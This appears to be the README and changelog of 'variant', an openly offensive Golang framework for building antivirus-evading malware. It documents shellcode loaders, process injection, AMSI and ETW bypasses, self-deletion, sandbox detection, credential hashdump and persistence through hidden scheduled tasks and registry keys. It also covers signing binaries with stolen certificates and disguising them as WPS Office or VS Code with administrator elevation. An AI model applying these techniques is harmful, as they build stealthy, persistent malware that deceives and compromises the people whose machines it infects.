variant
Golang Malware Framework
Description
本项目会不断添加各种免杀的技术,但是不适合直接不做任何修改的编译和使用,即使是有随机特征的编译
Docs:Install | variant,Usage | variant
Quick:
go run .\demo\Base\main.go
Update
2025.2.7
-
build
:更新编译流程,简化代码
// 新增编译控制参数 UseGarble
// UseGarble 设置为 ture 即为使用 Garble 进行编译
// 编译方法简化
// 删除 GoCompile() 和 GarbleCompile(),统一使用 Compile()
// UseGarble 设置为 true,即可使用 Garble 进行编译
type CompileOpts struct {
GoFileName string // Go 文件名称
ExeFileName string // Exe 文件名称
CompilePath string // 编译路径
HideConsole bool // 编译隐藏控制台
BuildMode string // 构建模式, 推荐值:pie
// Garble 专用参数
UseGarble bool // Garble 编译
GDebug bool // 开启Debug日志
GSeed bool // 随机 Base64 编码的种子
GLiterals bool // 对字符串和数字字面量进行混淆
GTiny bool // 最小化构建
}
-
loader
:删除wdll
依赖,统一使用 C1ph3rX13 | xwindows
-
loader
:修复 2025.1.26 更新中 RtlIpv4StringToAddressA
无法调用的错误
-
Encoder
:优化SetKeyIV
方法,可以判断传入函数签名来自动选择是否添加key or iv
进行加密
// func (p Payload) SetKeyIV(sign interface{}) (string, error)
// SetKeyIV() 方法最终调用的传入的加密函数后,会检查返回结果个数是否大于2个
// SetKeyIV() 方法经过加密后返回的类型为 string
// Pekomon 编码返回类型为 []string,需要使用专用方法 PokemonEncoder()
// 调用函数并获取结果
results := signVal.Call(params)
if len(results) < 2 {
return "", errors.New("sign function does not return expected result")
}
// 类型转换
cipherText, ok := results[0].Interface().(string)
if !ok {
return "", errors.New("invalid ciphertext type")
}
if errValue, errOk := results[1].Interface().(error); errOk && errValue != nil {
return "", fmt.Errorf("encryption failed: %w", errValue)
}
return cipherText, nil
-
Encoder
:PokemonStrings
函数改名 PokemonEncoder
,加密逻辑优化
-
demo
:本地加载、Pokenmon demo 更新
-
xwindows
:更新详情查阅 C1ph3rX13 | xwindows
2025.1.26
-
loader
:修复bugs,新增多个Enum
类型加载方式
func EnumChildWindowsX(shellcode []byte) error
func EnumerateLoadedModulesX(shellcode []byte) error
func EnumPageFilesWX(shellcode []byte) error
func EnumWindowsX(shellcode []byte) error
func EnumTimeFormatsAX(shellcode []byte) error
func EnumSystemLocalesAX(shellcode []byte) error
func EnumDesktopWindowsX(shellcode []byte) error
func EnumThreadWindowsX(shellcode []byte) error
-
loader
:逐渐统一使用xwindows
作为支持
-
xwindows
:更新详情查阅 C1ph3rX13 | xwindows
2025.1.23
build
:优化upx的使用逻辑
build
:优化编译参数的构建逻辑
build
:优化SigThief
文件读取方式,改为流式读取
network
:链式调用优化
alive
模块更名为persistence
(权限维持)
2025.1.3
-
新增gostrip
模块
// 添加PE新节
func PEBoom(buff []byte, size int) []byte
// 消除Go的编译特征
func GoStrip(in, out string)
-
更新rand
模块
// RandomLetters 随机生成指定长度的 a-z 或 A-Z 的字符串
func RandomLetters(len int) string
// LStrings 生成指定长度的字符串
func LStrings(len int) string
// RStrings 随机生成长度为 2-18 的字符串
func RStrings() string
// RNumbers 生成 1-n 之间的随机整数
func RNumbers(n int) int
// RNumbersString 生成长度为 n 的数字字符串
func RNumbersString(n int) string
-
更新demo
中的Base
2024.12.31
-
build
模块,重构编译方法和签名方法
// GoCompile 使用GoCompiler进行编译
func (c CompileOpts) GoCompile() error
// GarbleCompile 使用GarbleCompiler进行编译
func (c CompileOpts) GarbleCompile() error
// SaveCertificate 将证书表保存到指定文件
func (ct *CertThief) SaveCertificate() error
// SignWithStolenCert 使用窃取的证书对源文件进行签名
func (ct *CertThief) SignWithStolenCert() error
// SignExecutable 使用目标文件的证书对源文件进行签名
func (ct *CertThief) SignExecutable() error
-
build
模块,新增文件命名 / 格式化函数
// RenameGoTrimSuffix 删除文件名 .go 后缀,重命名为 .exe
func RenameGoTrimSuffix(name string) string
// RandomGoFile 随机命名 Go 代码文件
func RandomGoFile() string
// RenameSignedPEName 命名签名后的PE文件
func RenameSignedPEName(name string) string
-
完善 demo,详情查看 Usage | variant
2024.12.30
- 说明文档更新:安装和代码使用
2024.12.19
hook
,新增AMSIByPass()
,进程选择powershell.exe
即可
crypto
,新增中文加密Buddha()
sandbox
,新增时区判断IsBeijingTimezone()
- 新增
inject
注入模块,AddressOfEntryPointInject()
、CreatRemoteThreadInject()
- TODO:删除
wdll
模块,使用衍生库 C1ph3rX13 | xwindows
2024.10.18
- 更新
SigTheif
,简化代码逻辑,更换读取文件的方法
- 更新渲染模板 v6,更换调用逻辑
demo
更新适配 v6 渲染模板
2024.9.26
- 新增
gores
模块,支持自定义
文件的资源信息和复制
其他对象资源信息(todo:ICON随机Hash)
// 自定义资源信息,修改 variant/gores/render.go 中的 func NewResDate()
// 推荐使用下面 Extract() 方法直接复制指定对象的资源信息和文件
func NewResDate() ResDate {
goRes := ResDate{
ICOName: "icon.png",
Name: "WPS Office",
Version: "12.1.0.16399",
Description: "WPS Office",
MinimumOs: "win7",
ExecutionLevel: "requireAdministrator",
UIAccess: false,
AutoElevate: true,
DpiAwareness: "system",
DisableTheming: false,
DisableWindowFiltering: false,
HighResolutionScrollingAware: false,
UltraHighResolutionScrollingAware: false,
LongPathAware: false,
PrinterDriverIsolation: false,
GDIScaling: false,
SegmentHeap: false,
UseCommonControlsV6: false,
FixedFileVersion: "12.1.0.16399",
FixedProductVersion: "WPS Office",
Comments: "",
CompanyName: "",
FileDescription: "WPS Office",
FileVersion: "12.1.0.16399",
InternalName: "",
LegalCopyright: "Copyright©2024 Kingsoft Corporation. All rights reserved.",
LegalTrademarks: "",
OriginalFilename: "wps_host.exe",
PrivateBuild: "",
ProductName: "WPS Office",
ProductVersion: "WPS Office",
SpecialBuild: "",
}
return goRes
}
// 渲染输出 winres.json 文件
// 将 ICON 和 winres.json 放置在编译目录的 winres 文件夹中即可
winres := gores.ResTmpl{
ResPath: "gores/gores.tmpl",
OutputDir: "output",
}
err := winres.ResRender()
if err != nil {
panic(err)
}
- 更新
gores
编译方法,从build
模块中分离,新增资源提取方法Extract()
// 添加图标和文件信息
winres := gores.GoWinRes{
CompilePath: "output", // 指定编译目录
ExtractFile: "Code.exe", // 指定提取资源文件的对象
ExtractDir: "", // 指定提取资源文件后输出的路径
PatchFile: cOpts.ExeFileName, // 指定使用 Patch 添加资源文件的对象
}
// 提取 vscode 所有的资源文件
err = winres.Extract()
if err != nil {
log.Fatal(err)
}
// 使用 Patch 添加资源文件到编译后的程序
err = winres.HandleWinRes()
if err != nil {
log.Fatal(err)
}
- 资源提取方法
Extract()
实现的效果
![winres](https://raw.githubusercontent.com/C1ph3rX13/variant/main/images/winres.png)
2024.8.15
- 更新
render
模块,支持新增的cloader
,模板渲染调用结构体优化
- 更新渲染模板
v5
,支持新增的cloader
demo
更新,适配其他模块的更新
Hide Cmd
隐藏执行窗口的函数移动到sandbox
模块
DLL
渲染模板和调用方式更新
2024.8.14
cloader
模块新增 23 个CGO
类型 loader
- 跟随编译需求更新
initialize.bat
,新增依赖检查
xwindows
模块文档完善,新增 20+ API (详情见:xwindows 仓库)
2024.8.13
- 新增
cloader
模块,使用CGO
调用C
,代码更简洁
2024.7.20
enc
模块改名encoder
encoder
模块新增降熵方法ReduceEntropy()
、恢复方法ReverseEntropy()
render
模块TmplRender()
方法更新,符合整体设计逻辑
func (tOpts TmplOpts) TmplRender() error {}
wdll
模块更新,添加更多API
2024.6.26
hook
模块重构,现支持etwpatch
,selfdelete
dynamic
模块重构,现支持获取任意URL资源 SHA256 的指定切片
,新增对AES和DES Key和IV生成位数限制
network
模块优化,所有的请求方式均支持代理(可选),优化客户端的仿真设置
2024.5.13
- 新增
DLL
编译:指定DllBase.tmpl
模板,使用BuildMode: "c-shared"
- 新增
DLL
渲染模板:DllBase.tmpl
- 新增
DLL
编译demo,查看demo
下GoDLL
文件夹
2024.4.1
-
新增计划任务隐藏
- 修改 Index 为 0 隐藏:IndexToZero()
- 修改/删除 SD 项:ChangeSD() & DeleteSD()
- 删除注册表文件夹 SD 项:DeleteSD()
- 删除注册表中的计划任务文件&文件夹:RegDeleteTaskDir()
- 删除计划任务XML文件:DeleteTaskDir() & DeleteTaskFile()
![RegTasks](https://raw.githubusercontent.com/C1ph3rX13/variant/main/images/RegTask.gif)
2024.3.25
- 优化
alive
自动维权模块:WinTaskXML(), SetWinTask()
2024.3.21
- 新增
alive
自动维权模块,现支持注册表启动项,计划任务COM API
- 文档更新
2024.3.19
- 更新自删除,将
hook.SelfDelete()
置于loader,inject
方法之前即可
![selfdelete](https://raw.githubusercontent.com/C1ph3rX13/variant/main/images/SelfDelete.gif)
- 新增
hashdump
功能
- 更新
demo
2024.3.12
- 新增
initialize.bat
,自动配置项目依赖项,移除go.mod, go.sum
- 新增反沙箱:
Beep
,利用该方法达到Sleep
的效果
wdll
模块同步更新
2024.2.28
remote
模块改名为network
- 新增多种加密:
elliptic_curve
,morse
,pokemon
,rot13
,rot47
- 模板更新
V4 Base.tmpl
:兼容全部渲染方式(参数加载暂时除外)
- 加载模块更新:
ADsMemLoad
remder
模块同步更新
enc
模块新增:PokemonStrings
,pokemon
加密专用方法;修改其他加密的兼容性
2024.2.20
- 新增
loader
:ipv4
, macaddress
, enumsystemlocales + Hell's Gate + Halo's Gate technique
Dll
模块重构调用方式,特征更新
- 新增
hook
模块,Hook函数检测
,ETW Patch
,权限检测/提权
2024.2.18
- 新增
loader
:EnumerateLoadedModulesLoad
, EnumChildWindowsLoad
, EnumPageFilesWLoad
Dll
模块根据loader
同步更新
- 新增
garble
编译参数:-tiny
- 新增构建模式:
-buildmode
,详情执行go help buildmode
查看
- 新增
FileAnalyzer
方法,计算文件的特征:entropy
, md5
, sha1
, sha256
, sha512
2024.2.7
- 新增
garble(需安装)
编译,支持-seed, -literals, -debug
,但会导致编译的文件体积增大和熵值增加
- 重构编译模块,现在支持
原生go编译, garble编译
- 调整编译的流程和日志输出逻辑
- 重构
Upx
模块,支持自定义Upx.exe
的路径
- 重构
Winres
模块,现在使用HandleWinRes
方法可以直接添加图标
- 预计新增Go编译器: llvm, tinygo - 实验性
- 新增
install.bat
,初始化工具
2024.2.6
- 新增两种远程加载的方式
UsersCloud, file.io (web)
- 新增
github.com/imroc/req/v3
的请求客户端
- 优化远程加载模块的函数描述
- 简化远程模块上传加密文件的结构体
- 模板更新,兼容新的远程加载方式
2024.2.5
- 新增参数加载模块,可以自定义(随机)密钥
- 模板简化,兼容所有模块的渲染
- 渲染模块优化,兼容所有模块的调用
- 新增远程加载模块,远程加密数据的上传会在渲染阶段完成,上传(
curl:已完成, web:开发中...
)支持代理
- 新增动态数据模块可以和任意加载方式联动
- 新增上传加密
Payload
随机化
- 新增
loader:earlybird
2024.2.4
- 新增动态获取解密数据的模块 -
Dynamic: payload, key, iv
- 按照本地、远程、参数加载的方式重构,减少模板渲染的复杂度
- 新增分离加载模块
- 渲染模板优化
2024.1.30
lzw
压缩导致熵值上升到7.0+
;测试fmt.Printf("Hello World")
编译后熵值在6.0-6.1
之间,压缩模块下次一定
- 远程加载:模块、模板、配置更新
- 重构加密模块,利用反射根据传入的方法签名判断加密
- 使用
windows package
重写了DLL
调用模块,syscall
&windows
的总结
- 模板新增根据自定义导入对应库设置
- 新增多个多重加密/编码方法,
Base32/62
编码测试熵值比较低
2024.1.29
- 新增渲染判断,模板可根据结构体来渲染
- 更改为验证为沙箱之后程序正常退出
- 新增代码检查:检查通过再编译;初始化:
go install golang.org/x/tools/cmd/goimports@latest
- 细化结构体:根据功能区分
- 新增压缩算法:
lzw
, zstd
;熵值模块
- 新增动态方法:
GetSelfSHA256Nth
- 优化代码逻辑
2024.1.27
- 模块化配置
- 模板渲染
- 编译控制
- UPX压缩:需要检查
upx.exe
是否正确放置在build
文件夹,才能正确初始化
- 签名伪造
- 添加图标文件信息:初始化:
go install github.com/tc-hib/go-winres@latest
- 模板更新
- 反沙箱模块
Thanks
https://github.com/Ne0nd0g/go-shellcode
https://github.com/safe6Sec/GolangBypassAV
https://github.com/afwu/GoBypass
https://github.com/piiperxyz/AniYa
https://github.com/wumansgy/goEncrypt
https://github.com/TideSec/GoBypassAV
https://github.com/Pizz33/GobypassAV-shellcode
https://github.com/timwhitez/Doge-Gabh
https://github.com/MrTuxx/OffensiveGolang